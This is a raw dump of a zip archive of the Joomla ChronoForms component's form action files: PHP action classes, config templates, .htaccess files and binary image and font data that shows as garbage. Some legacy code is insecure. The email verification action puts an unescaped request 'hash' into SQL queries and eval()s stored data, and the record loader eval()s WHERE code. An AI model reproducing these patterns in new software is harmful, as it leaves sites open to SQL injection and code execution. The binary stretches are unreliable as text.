      PKs>\)6com_chronoforms/form_actions/check_recaptcha/.htaccessnuW+A Order allow,deny Deny from all PKs>\og g Pcom_chronoforms/form_actions/check_security_question/check_security_question.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Security Question', 'tooltip' => "Check the Security Question's Answer."); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $session_key_param = $form->form_params->get('session_key_param', 'cf_sid'); if(isset($form->data['chrono_security_answer'])){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); if((bool)$params->get('session_key', 1) === true){ if(!isset($form->data[$session_key_param])){ $this->events['fail'] = 1; $form->validation_errors['chrono_security_answer'] = $params->get('error', "You have entered a wrong security question's answer."); $form->debug['Core Captcha'][] = "Couldn't find the security prefix token field value in the \$_POST array!"; return; } $session_key = $form->data[$session_key_param]; $sessionvar = $session->get("chrono_security_answers_".$session_key, array(), md5('chrono')); }else{ $sessionvar = $session->get("chrono_security_answers", array(), md5('chrono')); } $chrono_security_answer = trim($form->data['chrono_security_answer']); if(!in_array($chrono_security_answer, $sessionvar)){ $this->events['fail'] = 1; $form->validation_errors['chrono_security_answer'] = $params->get('error', "You have entered a wrong security question's answer."); if((bool)$params->get('session_key', 1) === true){ $session->clear("chrono_security_answers_".$session_key, md5('chrono')); }else{ $session->clear("chrono_security_answers", md5('chrono')); } unset($form->data[$session_key_param]); $form->data['chrono_security_answer'] = ''; $form->debug['Core Captcha'][] = "Failed the answer check!"; }else{ $this->events['success'] = 1; if((bool)$params->get('session_key', 1) === true){ $session->clear("chrono_security_answers_".$session_key, md5('chrono')); }else{ $session->clear("chrono_security_answers", md5('chrono')); } unset($form->data[$session_key_param]); $form->data['chrono_security_answer'] = ''; $form->debug['Core Captcha'][] = "Passed the answer check!"; } }else{ $this->events['fail'] = 1; $form->validation_errors['chrono_security_answer'] = $params->get('error', "You have entered a wrong security question's answer."); $form->debug['Core Captcha'][] = "Couldn't find the answer field value in the \$_POST array!"; } } function load($clear){ if($clear){ $action_params = array( 'enabled' => 1, 'error' => "You have entered a wrong security question's answer.", 'session_key' => 1 ); } return array('action_params' => $action_params); } } ?>PKs>\ ?com_chronoforms/form_actions/check_security_question/index.htmlnuW+A PKs>\ڃz>Pcom_chronoforms/form_actions/check_security_question/check_security_question.ctpnuW+A
      Check Security Question
      input('action_check_security_question_{n}_error_config', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?> input('action_check_security_question_{n}_session_key_config', array('type' => 'select', 'label' => 'Enable Session Key', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add a unique session key for every form instance, this is helpful if more than one form or more than one instance of the same form may be loaded together.')); ?>
      PKs>\)>com_chronoforms/form_actions/check_security_question/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 8com_chronoforms/form_actions/db_record_loader/index.htmlnuW+A PKs>\)7com_chronoforms/form_actions/db_record_loader/.htaccessnuW+A Order allow,deny Deny from all PKs>\qR#)Bcom_chronoforms/form_actions/db_record_loader/db_record_loader.ctpnuW+A
      DB Record Loader
      Header(array('basic' => 'Basic', 'advanced' => 'Advanced', 'help' => 'Help'), 'db_record_loader_config_{n}'); ?> tabStart('basic'); ?> input('action_db_record_loader_{n}_dbfield_config', array('type' => 'text', 'label' => "DB Field", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The field name which will be used to query the table record.")); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_db_record_loader_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The table name to load the data from.")); ?> input('action_db_record_loader_{n}_request_param_config', array('type' => 'text', 'label' => "Request Param", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The param name which will exist in the request url to the form, its value will be used to load the target db record, if the value of this parameter is an array then the array values will be used inside 'IN' statement.")); ?> input('action_db_record_loader_{n}_load_fields_config', array('type' => 'select', 'label' => 'Load Fields', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should any form fields be loaded with data ? your field name should match the table's column name.")); ?> input('action_db_record_loader_{n}_curly_replacer_config', array('type' => 'select', 'label' => 'Curly Replacer', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should curly brackets fields names be replaced with data from the form data array ?")); ?> input('action_db_record_loader_{n}_model_id_config', array('type' => 'text', 'label' => "Model ID", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The key under which the loaded record data will be stored in the form->data array.")); ?> input('action_db_record_loader_{n}_load_under_modelid_config', array('type' => 'select', 'label' => 'Load Under Model ID', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should the data get loaded under the model id inside the data array ? this will affect your form fields names, if this is set to yes then your fields names should be in this format : name='MODEL_ID[field_name]'
      and your curly brackets strings: {MODEL_ID.field_name}")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_db_record_loader_{n}_content1_config', array('type' => 'textarea', 'label' => 'WHERE statement', 'rows' => 10, 'cols' => 50, 'smalldesc' => "The code used for the WHERE statement, some notes:
      1 - leave empty to use the default request param with column name formula OR use it to load whatever record you need.
      2 - don't use the WHERE word.
      3 - You can use PHP code with tags. ")); ?> input('action_db_record_loader_{n}_array_fields_sets_config', array('type' => 'text', 'label' => "Array Fields Sets", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "list of fields of types array stored in the table, fields values will be extracted, you can use single or multiple sets, e.g:
      field1,field2 OR field1,field2-field3,field4.")); ?> input('action_db_record_loader_{n}_array_separators_config', array('type' => 'text', 'label' => "Array Separators", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The separators used to explode the array fields values, multiple sets supported, should match the number of sets for the array fields.")); ?> input('action_db_record_loader_{n}_params_fields_config', array('type' => 'text', 'label' => "Parameters fields", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma separated list of fields which will be in Joomla params fields format, values will be extracted to an array.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the table name to load the data from, only the first record from the results will be loaded.
      • Your table must have a primary key.
      • Please give your table a unique model id, e.g: jos_content can have "Article".
      • You can order the results and so control which record will be returned, use the "ORDER BY" word in the WHERE box. e.g: ORDER BY `id`.

      tabEnd(); ?>
      PKs>\-Bcom_chronoforms/form_actions/db_record_loader/db_record_loader.phpnuW+A 0, 'notfound' => 0, 'nodata' => 0); var $group = array('id' => 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'DB Record Loader', 'tooltip' => 'Load 1 record from a Database table based on a request parameter value or a custom DB query.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $table_name = $params->get('table_name', ''); $static_where = ""; if(!empty($table_name) && (trim($params->get('dbfield', '')) || trim($actiondata->content1))){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $req_param = $form->get_array_value($form->data, explode('.', $params->get('request_param', ''))); if(is_null($req_param)){ $req_param = ''; }else{ $static_where = "`".$params->get('dbfield', '')."` = '".$form->escapeVar($req_param)."'"; if(is_array($req_param) && !empty($req_param)){ $static_where = "`".$params->get('dbfield', '')."` IN ('".implode("','", $form->escapeVar($req_param))."')"; } } $where = trim($actiondata->content1) ? $this->_processWhere(trim($actiondata->content1), $form) : $static_where; //load the model_id $model_id_sub = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", $table_name); $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = $model_id_sub; } //add a copy of the qury to the debug $form->debug['db_record_loader'][] = "SELECT * FROM `".$table_name."` AS `".$model_id."` WHERE ".$where; //run the query $database->setQuery("SELECT * FROM `".$table_name."` AS `".$model_id."` WHERE ".$where); $data = $database->loadAssoc(); if(!is_array($data)){ $data = array(); } //check array fields if(trim($params->get('array_fields_sets', '')) && trim($params->get('array_separators', ''))){ $fields_sets = explode('-', trim($params->get('array_fields_sets', ''))); $separators = explode('-', trim($params->get('array_separators', ''))); foreach($fields_sets as $k1 => $fields_set){ $fields_list = explode(',', $fields_set); foreach($fields_list as $k2 => $field){ if(isset($data[$field])){ $data[$field] = explode($separators[$k1], $data[$field]); } } } } //process any params fields if(strlen(trim($params->get('params_fields', ''))) > 0){ $params_fields = explode(",", trim($params->get('params_fields', ''))); foreach($params_fields as $params_field){ if(isset($data[$params_field]) && !empty($data[$params_field])){ $local_params = new JParameter($data[$params_field]); $data[$params_field] = $local_params->toArray(); } } } if((int)$params->get('load_under_modelid', 1) == 1){ $form->data[$model_id] = $data; }else{ $form->data = array_merge($form->data, $data); } //check the result $request_val = $req_param;//JRequest::getVar($params->get('request_param', '')); if(!empty($data)){ $this->events['found'] = 1; }else if(empty($request_val)){ $this->events['nodata'] = 1; }else if(empty($data)){ $this->events['notfound'] = 1; }else{ }/*else{ $this->events['found'] = 1; }*/ //replace all the curly brackets strings /*if(isset($form->form_details->content)){ if((int)$params->get('curly_replacer', 1)){ $form->form_details->content = $form->curly_replacer($form->form_details->content, $form->data); } //load any form fields if this setting is enabled if((int)$params->get('load_fields', 1)){ include_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'includes'.DS.'data_republish.php'); $HTMLFormPostDataLoad = new HTMLFormPostDataLoad(); $form->form_details->content = $HTMLFormPostDataLoad->load($form->form_details->content, $form->data); } }*/ } } function _processWhere($code, $form){ ob_start(); eval("?>".$code); $code = ob_get_clean(); return $code; } function load($clear){ if($clear){ $action_params = array( 'dbfield' => '', 'table_name' => '', 'request_param' => '', 'load_fields' => 1, 'curly_replacer' => 1, 'model_id' => '', 'array_fields_sets' => '', 'array_separators' => '', 'params_fields' => '', 'load_under_modelid' => '', 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\~6com_chronoforms/form_actions/meta_tager/meta_tager.phpnuW+A 'Meta Tager', 'tooltip' => 'Adds different meta tags to the form page.'); var $group = array('id' => 'form_utilities', 'title' => 'Utilities'); function load($clear){ if($clear){ $action_params = array( 'description' => 'Our Contact Page.', 'robots' => 'index, follow', 'generator' => 'Joomla! - Chronoforms!', 'keywords' => '', 'title' => '', 'content1' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //settings, vars $doc = JFactory::getDocument(); //description $doc->setDescription($params->get('description', 'Our Contact Page.')); //keywords $doc->setMetaData('keywords', $params->get('keywords', '')); //robots $doc->setMetaData('robots', $params->get('robots', 'index, follow')); //generator $doc->setMetaData('generator', $params->get('generator', 'Joomla! - Chronoforms!')); //title $title = $params->get('title', ''); if(trim($title)){ $doc->setTitle($title); } //custom if(!empty($actiondata->content1)){ $list = explode("\n", trim($actiondata->content1)); foreach($list as $item){ $fields_data = explode("=", $item); $doc->setMetaData(trim($fields_data[0]), trim($fields_data[1])); } } } } ?>PKs>\)1com_chronoforms/form_actions/meta_tager/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 2com_chronoforms/form_actions/meta_tager/index.htmlnuW+A PKs>\{ 6com_chronoforms/form_actions/meta_tager/meta_tager.ctpnuW+A
      Meta Tager
      input('action_meta_tager_{n}_title_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Page Title", 'smalldesc' => 'The page title, leave empty to abandon.')); ?> input('action_meta_tager_{n}_description_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Description", 'smalldesc' => 'The description tag.')); ?> input('action_meta_tager_{n}_robots_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Robots", 'smalldesc' => 'The robots tag.')); ?> input('action_meta_tager_{n}_generator_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Generator", 'smalldesc' => 'The generator tag.')); ?> input('action_meta_tager_{n}_keywords_config', array('type' => 'text', 'class' => 'big_input', 'label' => "Keywords", 'smalldesc' => 'The keywords tag.')); ?> input('action_meta_tager_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra tags", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Multi line tag title and tage value format, e.g:
      tag name1=tag value1
      tag name2=tag value2')); ?>
      PKs>\=%Bcom_chronoforms/form_actions/dynamic_dropdown/dynamic_dropdown.ctpnuW+A
      Dynamic Dropdown
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'dynamic_dropdown_config_{n}'); ?> tabStart('settings'); ?> input('action_dynamic_dropdown_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_dynamic_dropdown_{n}_source_dropdown_id_config', array('type' => 'text', 'label' => "Source Dropdown ID", 'class' => 'medium_input', 'smalldesc' => "The field id of the select box which will control the data in the target select box.")); ?> input('action_dynamic_dropdown_{n}_target_dropdown_id_config', array('type' => 'text', 'label' => "Target Dropdown ID", 'class' => 'medium_input', 'smalldesc' => "The field id of the select box which will have the dynamic content/options.")); ?> input('action_dynamic_dropdown_{n}_enable_ajax_config', array('type' => 'select', 'label' => 'Use AJAX ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Use AJAX, enable this if your target dropdown details are stored on database or if you need to generate them using some PHP.')); ?> input('action_dynamic_dropdown_{n}_ajax_event_name_config', array('type' => 'text', 'label' => "AJAX Event name", 'class' => 'medium_input', 'smalldesc' => "The form event name which will be queried using the AJAX call.")); ?> input('action_dynamic_dropdown_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra options extension", 'rows' => 20, 'cols' => 70, 'smalldesc' => "The static values of both the source and the target dropdowns, in multi line format, Please check the help tab for an example.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter the IDs of both the source and target dropdowns.
      • Configure the static options string data.
      • The options string should be in multi line format, each line will has 1 source value and multiple target values, example:
        source_value_1:target_value_1=Target Title 1,target_value_2=Target Title 2
        source_value_2:target_value_3=Target Title 3,target_value_4=Target Title 4
      • You may enable the AJAX and enter a new event name, make sure this event is added to the form itself, example: ajax
      • The new event output should be in multi line format, example:
        value1=Title 1
        value2=Title 2
        value3=Title 3
      • Make sure you add the PHP code below to the end of your output code in the AJAX event so that you may get a a clean response:
        $mainframe = JFactory::getApplication(); $mainframe->close();

      tabEnd(); ?>
      PKs>\4Bcom_chronoforms/form_actions/dynamic_dropdown/dynamic_dropdown.phpnuW+A 'Dynamic Dropdown', 'tooltip' => 'Attach one of your Drop Downs to another dropdown or to an AJAX event so that the data is changed dynamically.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'target_dropdown_id' => '', 'source_dropdown_id' => '', 'enable_ajax' => 0, 'ajax_event_name' => '', 'action_label' => '', 'content1' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\)7com_chronoforms/form_actions/dynamic_dropdown/.htaccessnuW+A Order allow,deny Deny from all PKs>\+%Kcom_chronoforms/form_actions/dynamic_dropdown/cfaction_dynamic_dropdown.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $dynamic_values = array(); if(!empty($actiondata->content1)){ $config = trim($actiondata->content1); $values = explode("\n", $config); foreach($values as $line){ $line_data = explode(":", trim($line)); $source_value = $line_data[0]; $target_data = $line_data[1]; $target_options = explode(",", $target_data); foreach($target_options as $target_option){ $target_option_data = explode("=", $target_option); $target_option_value = $target_option_data[0]; $dynamic_values[$source_value][$target_option_value] = $target_option_title = trim($target_option_data[1]); } } } $source_id = $params->get('source_dropdown_id', ''); $target_id = $params->get('target_dropdown_id', ''); if(((bool)$params->get('enable_ajax', 0) === true && empty($dynamic_values)) || empty($source_id) || empty($target_id)){ return false; } ob_start(); ?> window.addEvent('load', function() { $('').addEvent('change', function(){ get('enable_ajax', 0) === false): ?> $dynamic_value): ?> if($('').get('value') == ''){ $('').empty(); $option_title): ?> new Element('option', {'value': '', 'text': ''}).inject($('')); $('').fireEvent('change'); } var load_req = new Request({ url: 'index.php?option=com_chronoforms&chronoform=form_name; ?>&event=get('ajax_event_name', ''); ?>', method: 'get', onRequest: function(){ $('').empty(); new Element('option', {'value': '', 'text': 'Loading...'}).inject($('')); }, onSuccess: function(responseText){ $('').empty(); var response_data = responseText.trim().split("\n"); response_data.each(function(line){ var line_data = line.split("="); new Element('option', {'value': line_data[0], 'text': line_data[1]}).inject($('')); }); $('').fireEvent('change'); }, onFailure: function(){ $('').empty(); new Element('option', {'value': '', 'text': 'Loading failed.'}).inject($('')); } }); load_req.send($('').get('name')+'='+$('').get('value')); }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PKs>\ 8com_chronoforms/form_actions/dynamic_dropdown/index.htmlnuW+A PKs>\tōKcom_chronoforms/form_actions/dynamic_dropdown/cfaction_dynamic_dropdown.ctpnuW+Aload($form, $actiondata); ?>PKs>\)&com_chronoforms/form_actions/.htaccessnuW+A Order allow,deny Deny from all PKs>\{q--Xcom_chronoforms/form_actions/email_verification_response/email_verification_response.ctpnuW+A
      Email Verification Response
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'email_verification_response_config_{n}'); ?> tabStart('settings'); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_email_verification_response_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => 'The table at which the form data is saved.')); ?> input('action_email_verification_response_{n}_verify_field_config', array('type' => 'text', 'label' => "Verification code field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification code is saved.')); ?> input('action_email_verification_response_{n}_verification_status_field_config', array('type' => 'text', 'label' => "Verification status field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification status is saved.')); ?> input('action_email_verification_response_{n}_files_array_field_config', array('type' => 'text', 'label' => "Files array field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the files array is saved.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the db table where you want your form data to be loaded from.
      • Enter the name of your verification code field without any spaces.(e.g: verify)
      • Enter the name of your verification status field without any spaces.(e.g: verified)
      • You can use the success (or fail) events to do whatever you need after the response is processed.

      tabEnd(); ?>
      PKs>\)K K Xcom_chronoforms/form_actions/email_verification_response/email_verification_response.phpnuW+A '1_validation', 'title' => 'Validation'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Email Verification Response', 'tooltip' => 'Checks the verification link.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); //save the data to db if($_GET['action'] == 'verify'){ if(isset($_GET['hash']) && !empty($_GET['hash'])){ $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM ".$params->get('table_name')." WHERE ".$params->get('verify_field')."='".JRequest::getVar('hash')."' AND ".$params->get('verification_status_field')."='0'"); $record = $database->loadAssoc(); if(!empty($record)){ $this->events['success'] = 1; //check if the files array should be loaded as well if(trim($params->get('files_array_field', ''))){ eval('?>'.'files = '.$record[trim($params->get('files_array_field'))].'; ?>'); } unset($record[trim($params->get('files_array_field'))]); //load the data array with the record data $form->data = array_merge($form->data, $record); //update the db record as "verified" $database->setQuery("UPDATE ".$params->get('table_name')." SET ".$params->get('verification_status_field')."='1' WHERE ".$params->get('verify_field')."='".JRequest::getVar('hash')."'"); if(!$database->query()){ $form->debug[] = $row->getError(); } }else{ $this->events['fail'] = 1; $form->validation_errors['verification'] = $params->get('This record does NOT exist or has already been verified.'); } }else{ $this->events['fail'] = 1; } } } function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'verify_field' => '', 'verification_status_field' => '', 'files_array_field' => '', 'verification_link_path' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\ Ccom_chronoforms/form_actions/email_verification_response/index.htmlnuW+A PKs>\)Bcom_chronoforms/form_actions/email_verification_response/.htaccessnuW+A Order allow,deny Deny from all PKs>\B:com_chronoforms/form_actions/load_captcha/load_captcha.ctpnuW+A
      Load Captcha
      input('action_load_captcha_{n}_fonts_config', array('type' => 'select', 'label' => "True Type Fonts Support", 'options' => array(0 => 'Without fonts support', 1 => 'With fonts support'), 'smalldesc' => 'With fonts support is nicer but it depends on the GD library config at your server.')); ?> input('action_load_captcha_{n}_refresh_button_config', array('type' => 'select', 'label' => "Refresh Button", 'options' => array(0 => 'Disabled', 1 => 'Enabled'), 'smalldesc' => 'Add a refresh image button beside the image, this can NOT be enabled if the encoded image setting is enabled.')); ?> input('action_load_captcha_{n}_encoded_image_config', array('type' => 'select', 'label' => "Load encoded image", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'With this setting enabled, the image data will be encoded and will be sent with the other page HTML code in the same request.')); ?>
      PKs>\拦!8com_chronoforms/form_actions/load_captcha/background.pngnuW+APNG  IHDRx(5>%gAMA7tEXtSoftwareAdobe ImageReadyqe<YIDATx 0IX;Ioc````,,,XXX 0````M=!~IENDB`PKs>\}[:com_chronoforms/form_actions/load_captcha/load_captcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $details = array('title' => 'Load Captcha', 'tooltip' => 'Renders the Captcha Image, you need a "CAPTCHA Input" as one of your form fields.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $params = new JParameter($actiondata->params); $CF_PATH = $uri->root(); $uri = JFactory::getURI(); if($uri->isSSL()){ $CF_PATH = str_replace('http:', 'https:', $CF_PATH); } //check IE 5,6,7 $old_ie = false; $ua = $_SERVER['HTTP_USER_AGENT']; if(preg_match('/\bmsie [567]/i', $ua) && !preg_match('/\bopera/i', $ua)){ $old_ie = true; } if($old_ie || ((bool)$params->get('encoded_image', 0) === false)){ if((bool)$params->get('refresh_button', 0) === true){ $form->form_details->content = str_replace('{chronocaptcha_img}', ' refresh', $form->form_details->content); }else{ $form->form_details->content = str_replace('{chronocaptcha_img}', ' ', $form->form_details->content); } }else{ ob_start(); $this->generate_encoded((int)$params->get('fonts', 0)); $imgbinary = ob_get_clean(); $form->form_details->content = str_replace('{chronocaptcha_img}', ' ', $form->form_details->content); } } function generate_encoded($fonts = 0){ $mainframe = JFactory::getApplication('site'); $session = JFactory::getSession(); //generate code string $alphanum = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789abcdefghijkmnpqrstuvwxyz"; $rand = substr(str_shuffle($alphanum), 0, 5); $alphanum2 = "ABCDEFGHIJKLMNPQRSTUVWXYZ23456789abcdefghijkmnpqrstuvwxyz?><,.|\"'[{]}_=+*&^%$#@!~"; $rand2 = substr(str_shuffle($alphanum), 0, 7); $session->set("chrono_verification", md5(strtolower($rand)), md5('chrono')); //generate the image itself if($fonts){ $font = dirname(__FILE__).'/default.ttf'; $image_size = imagettfbbox(20, 0, $font, 'X'); $image_size = 5*(abs($image_size[2] - $image_size[0])+7); $im = imagecreatetruecolor($image_size, 40); // Create some colors $white = imagecolorallocate($im, 255, 255, 255); $grey = imagecolorallocate($im, 128, 128, 128); $greylight = imagecolorallocate($im, 199, 199, 199); $black = imagecolorallocate($im, 0, 0, 0); imagefilledrectangle($im, 0, 0, $image_size -1, 39, $white); // The text to draw $text = $rand; // Replace path by your own font path $font = dirname(__FILE__).'/default.ttf'; $chars = array(); $chars2 = array(); for ($i = 0; $i < strlen($text); $i++) { $chars[] = $text[$i]; } for ($i = 0; $i < strlen($rand2); $i++) { $chars2[] = $rand2[$i]; } //$chars = str_split($text); //$chars2 = str_split($rand2); // Add some shadow to the text //imagettftext($im, 20, 0, 11, 21, $grey, $font, $text); $size2 = 20; $angle2 = 0; $x2 = 10; $y2 = 25; $bbox2 = array(); $bbox2[0] = 0; $bbox2[2] = 0; foreach($chars2 as $char2){ $angle2 = rand(-20, 20); $size2 = rand(15, 20); $y2 = rand(0, 40); imagettftext($im, $size2, $angle2, $x2, $y2, $greylight, $font, $char2); $bbox2 = imagettfbbox($size2, $angle2, $font, $char2); $x2 = $x2 + abs($bbox2[2] - $bbox2[0]) + 3; } $size = 20; $angle = 0; $x = 10; $y = 25; $bbox = array(); $bbox[0] = 0; $bbox[2] = 0; // Add the text foreach($chars as $char){ $angle = rand(-20, 20); //$size = rand(15, 20); imagettftext($im, $size, $angle, $x, $y, $black, $font, $char); $bbox = imagettfbbox($size, $angle, $font, $char); $x = $x + abs($bbox[2] - $bbox[0]) + 3; } // Using imagepng() results in clearer text compared with imagejpeg() imagepng($im); imagedestroy($im); }else{ $image = imagecreatefrompng(dirname(__FILE__).'/background.png'); $greylight = imagecolorallocate($image, 199, 199, 199); $black = imagecolorallocate($image, 0, 0, 0); imagestring ($image, 5, 8, 14, $rand2, $greylight); imagestring ($image, 5, 5, 11, $rand, $black); imagepng($image); imagedestroy($image); } } function load($clear){ if($clear){ $action_params = array( 'fonts' => 0, 'refresh_button' => 0, 'encoded_image' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\)3com_chronoforms/form_actions/load_captcha/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ь`5com_chronoforms/form_actions/load_captcha/refresh.pngnuW+APNG  IHDRaIDATxڕKA{3cPM j,B9x%xQ#^'` HZADH{Bb5āe}.S#6uu8mv`I9(ɡrn[Als (N ,TbwcSh($V|#I0lHqXD<.N(J8I+I㗻#^gZ@T^dD;XZB zWS7^S<[B'NYm$(.(-t\|Q~~Ccom_chronoforms/form_actions/load_captcha/cfaction_load_captcha.phpnuW+APKs>\۔dd5com_chronoforms/form_actions/load_captcha/default.ttfnuW+A 0OS/2tNcmap,; glyfvXhead%ڋ]6hheal]$hmtxy1]loca`pmaxpjb name3cApostd` kernd} @ ,d !"#$%'&()`IJKBCDEFZN[PO]H W LjMk\l-./01G279,+86*>3@4A?:;<=5YXSRT_UVz{Qopmnsqrthiacfg|uyebwx" Sax    " & 0 :!"" R`x    & 0 9!"""d !"#$%'&()`IJKBCDEFZN[PO]H W LjMk\l-./01G279,+86*>3@4A?:;<=5{pqomnr}~YXSRQT_U|V^tvsxhifgeacbzywu  }EOjr$ET$3"m+!rN4)`@@_OT~z z +6^ X$W ^ [u7<z? 9^/a;T0? 9^/S;jz)t&T$3"m+!rN~P'`@@_OT~z zK #B|pOxOQD~SP@u% i  W-rDx#HJOCs /m O jz/j$35#UT+!rNNr!+@_Xhh[`@z?,68*@z xH{yUUB\ *W>) Mdj3F+!rN^HUT$35#yF8*@z z`@@_Xh^f xN||:m=Ui|RF]o7-`s'ynI)RuBC:dHr`oR5p[ J2> k7"qq<~~('Uia<rLLUOH  O` f^#"^: K65JWZyC Ch5Z0dgI0;-7{@7a?D-C?@65D'B'BByyBL&-4a@\h}2W U?]I-qyeV LbU#oPyZEoj %/3LKvKIw+vKIwuLKN:dodk`u^k`u_dodOR3 )2leMy82 7,; -mCy&]79RM F;J8|,8yBU,Wi<H`H}. ^_Rh.>_"!`+. +R^_[iLE.-FLKR-\V>{>V]R^hi^:^^9bn J`JTIaJh`hg0`0nni/6O p]\q_^kivu^%7}7&V+V4<+zx+<4hi5sq7B/V\YV\T0Bq\*LL)\ NGh[<o \ujE!:Q_-+v`m:;7DkB@ixI..zw9EL#vDf|0vwl!av,,`P:cl;;lK;78:MOI66roVzlc?`zd@/7u|AKiz/n<w`ay/{HPNjivd[ sv,,`nc;ol;[K;78:MmNhqq56$YtHVM|:OL{CB[  h*6OgZEK EZ\<ay/{HPNjiv`//?!cm8{y/0{HPNjivjiv[t U|;t~q~_/ r) ''H*)) xb##PY[ hBf>^')Z[!m_-+v;mm:[yk@AjB8hxx./ uZWu/U[ujknEargi{L3-HhJNq ;`<{oM!hdS(<7^s%4/PgKmqVgyjj=} / .1 !-PPKJ^]qsjgfk's:` Ps,> }dd|`//00h`/hg0/dO 8aw!-#ftO@&i<he R?=Q kQ-:;,So "`Ntq4#R}}R$5!5xv\T{sq@wt%TZ;C IVVf^zWT}CC:!/+,*F!L Sl0t(jHhy/ \PFlbZW{uZYzaaT4{lm{|u/\;(.{=.yy-.>{t~bn!b  `g`O @cMoG5\/W S X)LF&~r]Ca,xEqh%a][HJBfa=K\"3/E/g<Y0ECTb)*M0$}n/kaIyP.jCcWYTmly~~('KUia< ##jz/37j$35#UT+!rNNr!+q@_Xhh[`@z?,68*@z^##7z!%)?R@!+l\m0K[jh\{l|j@<lL:##V+/3V4<+zx+<4hi5sq7jB/V\YV\T0Bq\*LL)\##uZWu/U[ujkn##?0 #|WW|RK66K }EOW||WK66K*-jE};O""am.a STTam.aT kj3mygNI vzhl.-E}<O;.-$E}<O*X0hLHGPGQcYQsch0hh0QGYQsGi/hi/XGXrGiifc0fch0fG0fGfG0fGi/C%C<..<*%3@@"@Y@p<7 + +KVp K99WW886_V;<ilnJe (8cZA?> Z22459/cb d_ QL#c`:,-3*<]W [^e/?/5qmddr}MJX;9D22459/cb d_TUT44w|83<,-3*=]W [^:E :..3/320/320.9 66bbbT - c;}G8)Os}?,?9 ^xW||F(p_N&(r(F&-,)*,HGGG ^X,*)**'GGGH%=r;KF&-,)*,HGGG  lBB ;#$$$,*)**'GGGHOM~#"#'S*%A>**rDF&-,)*,HGGG?,%$*E/-fj.1pDEx,*)**'GGGH04FH31N 